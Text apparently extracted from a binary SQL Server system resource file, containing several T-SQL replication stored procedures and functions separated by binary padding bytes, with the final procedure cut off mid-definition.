!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`k2
<pX0] D8Ih80F@ D8oh
H7
01@ n8
CREATE PROCEDURE sys.sp_MSrepl_enumarticlecolumninfo
(
	@publisher		sysname,
	@publication	sysname,
	@article		sysname,
    @defaults       bit = 0
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @publisher_type	sysname
	DECLARE @cmd		nvarchar(4000)
	DECLARE @distribdb	sysname	

	SET @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
														@publisher_type = @publisher_type OUTPUT,
														@distribdb		= @distribdb OUTPUT
	
	IF @retcode <> 0
	BEGIN
		RETURN (@retcode)
	END

	IF UPPER(@publisher_type) IN ('ORACLE', 'ORACLE GATEWAY')
	BEGIN
		SET @cmd = QUOTENAME(@distribdb) + N'.sys.sp_ORAenumarticlecolumninfo'

		EXEC @retcode = @cmd
						@publisher,
						@publication,
						@article,
                        @defaults
	END
	ELSE
	BEGIN
		RAISERROR(21645, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN (@retcode)
END
01 8CREATE PROCEDURE sys.sp_MSdrop_qreader_history 
(
    @publication_id int
) 
AS
BEGIN
	SET NOCOUNT ON
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	-- Remove associated history 
	DELETE MSqreader_history 
	WHERE publication_id = @publication_id 
	IF (@@ERROR != 0)
		return (1)
	else
		return 0
END
0@ D8whA5B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!BV`		<sa7Y0N 8create procedure sys.sp_MScreatelightweightdeleteproc 
	@procname			nvarchar(70),
	@destination_object	nvarchar(270),
	@tablenick			int
as
	set nocount on
	
	declare @retcode			int
	declare @cmd 				nvarchar(4000)
	declare @maintainsmetadata	bit
	declare @artid				uniqueidentifier
	declare @coltracked			bit
	declare @enumtype_str		nvarchar(100)

	select top 1 @artid= artid,
				 @coltracked= column_tracking
		from dbo.sysmergearticles
		where nickname = @tablenick

	if 1=@coltracked
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_ChangedOnly'
	end
	else
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_AllOnOtherReason'
	end

	set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
	
	if 1=@maintainsmetadata
	begin
		set @cmd= 'create procedure dbo.' + quotename(@procname) + '
			@rowguid	uniqueidentifier,
			@rowvector	varbinary(11),
			@changetype	tinyint
		as
		set nocount on
		
		declare @retcode	int -- return value of the delete proc itself
		declare @errcode	int -- for return values of procs called by the delete proc
		declare @tablenick	int
		declare @METADATA_TYPE_DeleteLightweightProcessed tinyint
		declare @METADATA_TYPE_PartialDelete tinyint'

		if 1=@coltracked
		begin
			set @cmd=@cmd + '
			declare @COLUMNS_ENUMERATED_ChangedOnly tinyint

			set @COLUMNS_ENUMERATED_ChangedOnly= 0'
		end
		else
		begin
			set @cmd=@cmd + '
			declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

			set @COLUMNS_ENUMERATED_AllOnOtherReason= 2'
		end

		set @cmd=@cmd + '
		set @METADATA_TYPE_DeleteLightweightProcessed= 12
		set @METADATA_TYPE_PartialDelete= 5
		set @retcode= 1 -- 1=okay
		set @tablenick= ' + cast(@tablenick as nvarchar(20)) + '

		-- Security check
		exec @errcode= sys.sp_MSreplcheck_subscribe
		if @errcode <> 0 or @@error <> 0
		begin
			raiserror(15247,-1,-1)
			return (3)
		end

		if @changetype = @METADATA_TYPE_PartialDelete
		begin
			-- sp_MSsetrowmetadata does the same for heavyweight
			set @rowvector= 0x00
		end

		begin tran
		save tran tran_lws_delproc

		update dbo.MSmerge_rowtrack
			set	
				changetype= @METADATA_TYPE_DeleteLightweightProcessed, 
				rowvector= @rowvector,
				changedcolumns= null,
				columns_enumeration= ' + @enumtype_str + ',
				changed= sys.fn_MSdayasnumber(getdate()),
				sync_cookie= null
			where tablenick = @tablenick and rowguid = @rowguid

		if @@rowcount = 0
		begin
			insert into dbo.MSmerge_rowtrack
			(
				tablenick,
				rowguid,
				changetype,
				rowvector,
				changedcolumns,
				columns_enumeration,
				changed,
				sync_cookie
			)
			values
			(
				@tablenick,
				@rowguid,
				@METADATA_TYPE_DeleteLightweightProcessed,
				@rowvector,
				null,
				' + @enumtype_str + ',
				sys.fn_MSdayasnumber(getdate()), 
				null
			)

			if @@rowcount <> 1
			begin
				set @retcode= 0
				goto Failure
			end
		end'
	end -- 1=@maintainsmetadata
	else
	begin
		set @cmd= 'create procedure dbo.' + quotename(@procname) + '
			@rowguid	uniqueidentifier
		as
		set nocount on
		
		if sessionproperty(''replication_agent'') = 0 return 3

		declare @retcode	int
		declare @tablenick	int

		set @retcode= 1 -- 1=okay
		set @tablenick= ' + cast(@tablenick as nvarchar(20))
	end

	set @cmd= @cmd + '

	delete from ' + @destination_object + '
		where rowguidcol = @rowguid

	delete from dbo.MSmerge_metadataaction_request
		where tablenick=@tablenick and rowguid=@rowguid

	goto Done'

	if 1 = @maintainsmetadata
	begin
		set @cmd= @cmd + '
		Failure:
			rollback tran tran_lws_delproc

		Done:
			commit tran
			return(@retcode)
		'
	end
	else
	begin
		set @cmd= @cmd + '
		Failure:
		Done:
			return(@retcode)
		'
	end

	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 or @cmd = '' or @cmd is null
		return 1
	else
		return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<%
&{#0!@ 98
create procedure sys.sp_MSLockMatchID  
(
@qualified_name nvarchar(517)
,@tabid int
)
with execute as 'dbo'
as
begin
	EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
	IF @@ERROR <> 0
		return (1)
    return 0
end
0~@ 8
--
-- Name:    
--          sp_ORAgetprovider
--          
-- Description: 
--          Determine the OLEDB provider to use for
--			Oracle publisher
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Error code
--      
-- Owner:   
--          acarter
--
-- Notes:
--			Driver is picked based on the version of Windows.
--			The driver can also be forced driver to Oracle OLEDB
--			provider via a special form of the publisher type value.
--			Windows 2003 SP1+ will use Oracle OLEDB since out-of-proc
--			works.  Otherwise, will use MSDAORA.
-- 
--			64-bit will always use Oracle OLEDB if Windows 2003 SP1+
--			otherwise will error out
--

CREATE PROCEDURE sys.sp_ORAgetprovider
(
	@publisher_type sysname OUTPUT,
	@provider       sysname OUTPUT
)
AS
BEGIN
	DECLARE @winver  int,
			@w2ksp1  int,
			@64bit	 int

	-- Windows 2003 Server SP1
	SET @w2ksp1 = 0x0ECE0205
	
	-- Initialize platform indicator to 32 bit
	SET @64bit = 0
	
	-- Get version info
	CREATE TABLE #msver
	(
		idx		smallint,
		name		sysname,
		internal_value	varbinary(8),
		character_value nvarchar(120)
	)

	INSERT #msver
	EXEC master.dbo.xp_msver 'WindowsVersion'

	-- Get Windows version
	SELECT	@winver = CONVERT(int, internal_value)
	FROM	#msver
	WHERE	idx = 15
	
	INSERT #msver
	EXEC master.dbo.xp_msver 'Platform'

	-- Get 64 bit indicator	
	SELECT	@64bit = COUNT(*) 
	FROM	#msver
	WHERE	idx = 4
	  AND	character_value like '%64%'

	DROP TABLE #msver

    IF (@publisher_type LIKE N'%.OLEDB')
    BEGIN
        SELECT  @publisher_type = LEFT(@publisher_type, LEN(@publisher_type) - 6),
                @provider = N'OraOLEDB.ORACLE'
    END
    
    ELSE IF (@publisher_type LIKE N'%.MSDAORA')
    BEGIN
        SELECT  @publisher_type = LEFT(@publisher_type, LEN(@publisher_type) - 8),
                @provider = N'MSDAORA'
    END

    ELSE IF @64bit <> 0
    BEGIN
        SELECT @provider = N'OraOLEDB.ORACLE'
    END
    ELSE
    BEGIN
    	SELECT @provider = N'MSDAORA'
    END

    return (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<-a!0@ 8
create procedure sys.sp_table_statistics_rowset
(
    @table_name_dummy   sysname = null -- dummy parameter, for consistency with other SProcs, where 1st parameter is table_name
)
as
    select
        TABLE_CATALOG       = convert(sysname, null),
        TABLE_SCHEMA        = convert(sysname, null),
        TABLE_NAME          = convert(sysname, null),
        STATISTICS_CATALOG  = convert(sysname, null),
        STATISTICS_SCHEMA   = convert(sysname, null),
        STATISTICS_NAME     = convert(sysname, null),
        STATISTICS_TYPE     = convert(smallint,0),
        COLUMN_NAME         = convert(sysname, null),
        COLUMN_GUID         = convert(uniqueidentifier, null),
        COLUMN_PROPID       = convert(int, null),
        ORDINAL_POSITION    = convert(int, null),
        SAMPLE_PCT          = convert(smallint, null),
        LAST_UPDATE_TIME    = convert(datetime, null),
        NO_OF_RANGES        = convert(int, null),
        COLUMN_CARDINALITY  = convert(bigint, null),
        TUPLE_CARDINALITY   = convert(bigint, null),
        TABLE_CARDINALITY   = convert(bigint, null),
        AVG_COLUMN_LENGTH   = convert(int, null)
    where 1=0
0@ 8
create procedure sys.sp_table_statistics_rowset;2
(
    @table_catalog      sysname = null,
    @table_schema       sysname = null,
    @table_name         sysname = null,
    @stat_catalog       sysname = null,
    @stat_schema        sysname = null,
    @stat_name          sysname = null
)
as
    exec sys.sp_table_statistics2_rowset @table_name,
                                         @table_schema,
                                         @table_catalog,
                                         @stat_name,
                                         @stat_schema,
                                         @stat_catalog
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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    set nocount on

    declare @publisher sysname
    declare @publisher_id smallint
    declare @publisher_db sysname
    declare @publication sysname
    declare @subscriber sysname
    declare @subscriber_id smallint
    declare @subscriber_db sysname
    declare @subscriber_name sysname
    declare @distribution_agent nvarchar(100)
    declare @status int
    declare @start_time nvarchar(24)
    declare @time nvarchar(24)
    declare @duration int
    declare @comments nvarchar(4000)
    declare @delivery_time int
    declare @delivered_transactions int
    declare @delivered_commands int
    declare @average_commands int
    declare @delivery_rate int
    declare @delivery_latency int   
    declare @subscription_type int
    declare @error_id int
    declare @job_id binary(16)
    declare @local_job bit
    declare @agent_id int
    declare @profile_id int
    declare @last_timestamp binary(8)
    declare @offload_enabled bit
    declare @offload_server  sysname
		,@subscriber_type tinyint

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    create table #distribution_agent (name nvarchar(100) NOT NULL, status int NOT NULL,
        publisher sysname NOT NULL, publisher_db sysname NOT NULL, publication sysname NULL,
        subscriber sysname NULL, subscriber_db sysname NULL,subscription_type int NULL, 
        start_time nvarchar(24) NULL, time nvarchar(24) NULL, duration int NULL, 
        comments nvarchar(4000) NULL, delivery_time int NULL, 
        delivered_transactions int NULL, delivered_commands int NULL, 
        average_commands int NULL, delivery_rate int NULL, delivery_latency int NULL,
        error_id int NULL, job_id binary(16) NULL, local_job bit NOT NULL,
        profile_id int NOT NULL, agent_id int NOT NULL, last_timestamp binary(8) NOT NULL, 
		offload_enabled BIT NOT NULL, offload_server sysname NULL,
		subscriber_type tinyint NULL)

    /* excluding virtual subscriptions */
    declare hC CURSOR LOCAL FAST_FORWARD FOR
        select id, name, publisher_id, publisher_db, publication, 
            subscriber_id, subscriber_db, subscription_type, local_job, job_id,
            profile_id, subscriber_name, offload_enabled, offload_server
            from
            MSdistribution_agents
            where 
			--No virtual subscription wanted
            name LIKE @name and (subscriber_id is NULL or subscriber_id>=0) and
			(@exclude_anonymous = 0 or anonymous_agent_id is null)
        for read only


    OPEN hC
    FETCH hC INTO @agent_id, @distribution_agent, @publisher_id, @publisher_db, @publication,
        @subscriber_id, @subscriber_db, @subscription_type, @local_job, @job_id, @profile_id, @subscriber_name, @offload_enabled, @offload_server
    WHILE (@@fetch_status <> -1)
        begin
        
        /* Stuff in the values for no history case */
        select @status = 0, 
            @start_time = NULL,
            @time = NULL, @duration = NULL, @comments = NULL,
            @delivery_time = NULL, @delivered_transactions = NULL,
            @delivered_commands = NULL, @average_commands = NULL,
            @delivery_rate = NULL, @delivery_latency = NULL,
            @error_id = NULL,
            @last_timestamp = 0x00000000

        select @status = isnull(runstatus, 0),
            @start_time = sys.fn_replformatdatetime(start_time),
            @time = sys.fn_replformatdatetime(time), 
            @duration = duration, 
            @comments = comments,
            @delivery_time = 0, @delivered_transactions = delivered_transactions,
            @delivered_commands = delivered_commands, @average_commands = average_commands,
            @delivery_rate = delivery_rate,
            @delivery_latency = delivery_latency,
            @error_id = error_id, @last_timestamp = timestamp   
            from MSdistribution_history with (READPAST)
            where
            agent_id = @agent_id and
            timestamp = (select max(timestamp) from MSdistribution_history with (READPAST)
                where agent_id = @agent_id
			and comments not like N'<stats state%'	
                )
            
            select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id
        IF @subscriber_name is NULL
		begin
                select @subscriber = srvname from master.dbo.sysservers where srvid=@subscriber_id 
				select @subscriber_type = type from MSsubscriber_info where
					UPPER(publisher) = UPPER(@publisher) and
					UPPER(subscriber) = UPPER(@subscriber)

		end
		ELSE 
            begin
                select @subscription_type = 2
                select @subscriber = @subscriber_name
                select @subscriber_db = @subscriber_db + '-' + convert(nvarchar(30), @agent_id)
            end
            
        insert into #distribution_agent values (@distribution_agent,
            @status, @publisher,
            @publisher_db, @publication, @subscriber, @subscriber_db, @subscription_type, 
            @start_time, @time, @duration, @comments,
            @delivery_time, @delivered_transactions, @delivered_commands, @average_commands,
            @delivery_rate, @delivery_latency, @error_id, @job_id, 
            @local_job, @profile_id, @agent_id, @last_timestamp, @offload_enabled, 
			@offload_server, @subscriber_type)

        FETCH hC INTO @agent_id, @distribution_agent, @publisher_id, @publisher_db, @publication,
            @subscriber_id, @subscriber_db, @subscription_type, @local_job, @job_id, 
            @profile_id, @subscriber_name, @offload_enabled, @offload_server
        end

    if @show_distdb = 0
        select * from #distribution_agent 
    else 
        select 'dbname' = DB_NAME(), * from #distribution_agent

    drop table #distribution_agent
    close hC
    deallocate hC
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!`<X00v 8-- This function requires either:
--	@pubid not null
--	@subid not null
--	@artid not null
--	@publisher not null, and @publisher_db not null, and @publication not null
create function sys.fn_MSuselightweightreplication
(
	@publisher 		sysname = null,
    @publisher_db 	sysname = null,
    @publication 	sysname = null,
    @pubid 			uniqueidentifier = null,
    @subid 			uniqueidentifier = null,
    @artid			uniqueidentifier = null,
    @objid			int = null
)
	returns bit
as
begin
	declare @lightweight bit

	if object_id('dbo.MSmerge_rowtrack', 'U') is null
	begin
		-- No lightweight tables, so it is certainly heavyweight.
		return 0
	end
	else if object_id('dbo.MSmerge_contents', 'U') is null
	begin
		-- No heavyweight tables, so it is certainly lightweight.
		return 1
	end
	else if @artid is not null or @objid is not null or @pubid is not null
	begin
		select top 1 @lightweight= lightweight from dbo.sysmergearticles
			where artid=@artid or objid=@objid or pubid=@pubid

		return @lightweight
	end
	else if @subid is not null
	begin
		if exists (select subid from dbo.sysmergesubscriptions 
						where subid=@subid and
							  subscription_type = 3) -- light weight subscription
		begin
			set @lightweight = 1
		end
		else
		begin
			set @lightweight= 0
		end

		return @lightweight
	end
	else if @publisher is not null and @publisher_db is not null and @publication is not null
	begin
	    select @pubid = NULL
	    select @pubid = pubid  from dbo.sysmergepublications 
			where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) and 
				  publisher_db = @publisher_db and 
				  name = @publication
		if @pubid is not null and exists (select subid from dbo.sysmergesubscriptions where pubid=@pubid and subscription_type = 3)
		begin
			set @lightweight = 1
		end
		else
		begin
		    set @lightweight = 0
		end

		return @lightweight
	end

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<g>u3.0P@ 	8create procedure sys.sp_MSacquireserverresourcefordynamicsnapshot (
    @publication sysname,
    @max_concurrent_dynamic_snapshots int
    )
as
begin
    set nocount on
    declare @retcode int
    declare @pubid uniqueidentifier
    declare @process_name sysname
    declare @PALRole sysname
    select @retcode = 0
    

    if object_id('dbo.sysmergepublications') is null
    begin
        raiserror(21423, 16, -1, @publication)
        return (1) 
    end

    select @pubid = null
    select @pubid = pubid 
      from dbo.sysmergepublications
     where name = @publication 
       and publisher_db = db_name()
       and upper(publisher) = upper(publishingservername())
             
    if @pubid is null   
    begin
        raiserror(21423, 16, -1, @publication)
        return (1) 
    end

    if {fn ISPALUSER(@pubid)} <> 1
    begin
        raiserror(21423, 16, -1, @publication)
        return (1) 
    end
    
    -- Since we have gone through the PAL check already, the PAL role
    -- should have been set. The following call to sp_MSrepl_GetPALRole 
    -- is nothing more than a way to retrieve the PAL role name
    select @PALRole = NULL
    select @PALRole = sys.fn_MSmerge_GetPALRole(@pubid)
    if @PALRole is NULL
        return 1

    -- The following string construction will never overflow
    -- sysname
    select @process_name = N'ReplicationSnapshotAgent' + 
        convert(nvarchar(40), @pubid)     

    -- Acquire head of queue lock first
    exec @retcode = sys.sp_MSacquireHeadofQueueLock
        @process_name = @process_name,
        @queue_timeout = 0,
        @no_result = 1,
        @DbPrincipal = @PALRole

    if @@error<>0
        return (1)

    if @retcode<>0
        goto Failure

    exec @retcode = sys.sp_MSacquireSlotLock 
        @process_name = @process_name,
        @concurrent_max = @max_concurrent_dynamic_snapshots,
        @DbPrincipal = @PALRole
    if @@error<>0
        return (1)
    
    -- Also return the PAL role as a separate result set, this is 
    -- used later on by the snapshot agent to release the dynamic snapshot
    -- applock under the proper security principal
    select @PALRole     

Failure:

    return @retcode
end
0߮ t8
create procedure sys.sp_MSrefcnt
    @objid int, @refcnt int output
as
    set @refcnt = 0
    create table #temprefs (objid int NOT NULL)
    insert into #temprefs select distinct referenced_object_id from sys.foreign_keys where parent_object_id = @objid

    while (@@rowcount > 0)
        insert into #temprefs select distinct referenced_object_id from
            sys.foreign_keys where parent_object_id in (select objid from #temprefs) and
                referenced_object_id not in (select objid from #temprefs)

    select @refcnt = count(*) from #temprefs
    return (0)
0 D8D.h20"@ <8
--
-- Name:    
--          sp_IHscript_missing_row_check
--          
-- Description: 
--          Script check for missing row
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) of commands
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_IHscript_missing_row_check 
as
begin
	-- Note this must be done immediately after the update or delete statement.
	-- create WHERE clause
	insert into #proctext(procedure_text) values( N'if @@rowcount = 0' )
	begin
